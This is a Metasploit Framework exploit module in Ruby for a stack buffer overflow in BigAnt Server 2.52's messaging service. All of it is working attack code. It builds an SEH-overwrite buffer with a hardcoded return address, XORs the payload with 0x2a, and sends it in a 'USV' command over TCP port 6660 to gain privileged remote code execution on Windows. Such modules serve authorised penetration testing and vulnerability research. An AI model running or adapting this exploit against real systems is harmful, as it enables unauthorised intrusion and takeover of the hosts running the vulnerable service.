BigAnt Server 2.52 USV Buffer Overflow

`##  
# $Id: bigant_server_usv.rb 8071 2010-01-05 11:49:12Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BigAnt Server 2.52 USV Buffer Overflow',  
'Description' => %q{  
This exploits a stack overflow in the BigAnt Messaging Service,  
part of the BigAnt Server product suite. This module was tested  
successfully against version 2.52.  
  
NOTE: The AntServer service does not restart, you only get one shot.  
},  
'Author' =>  
[  
'Lincoln',  
'DouBle_Zer0',  
'jduck'  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 8071 $',  
'References' =>  
[  
[ 'OSVDB', '61386' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/10765' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/10973' ]  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => (218+709+35),  
'BadChars' => "\x2a\x20\x27\x0a\x0f",  
# pre-xor with 0x2a:  
#'BadChars' => "\x00\x0a\x0d\x20\x25",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Dec 29 2009'))  
  
register_options([Opt::RPORT(6660)], self.class)  
end  
  
def exploit  
connect  
  
sploit = ""  
sploit << payload.encoded  
sploit << generate_seh_record(target.ret)  
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string  
sploit << rand_text_alphanumeric(3)  
sploit << [0xdeadbeef].pack('V') * 3  
  
# the buffer gets xor'd with 0x2a !  
0.upto(sploit.length-1) do |idx|  
sploit[idx] = sploit[idx] ^ 0x2a  
end  
  
print_status("Trying target #{target.name}...")  
sock.put("USV " + sploit + "\r\n\r\n")  
  
handler  
disconnect  
end  
  
end  
`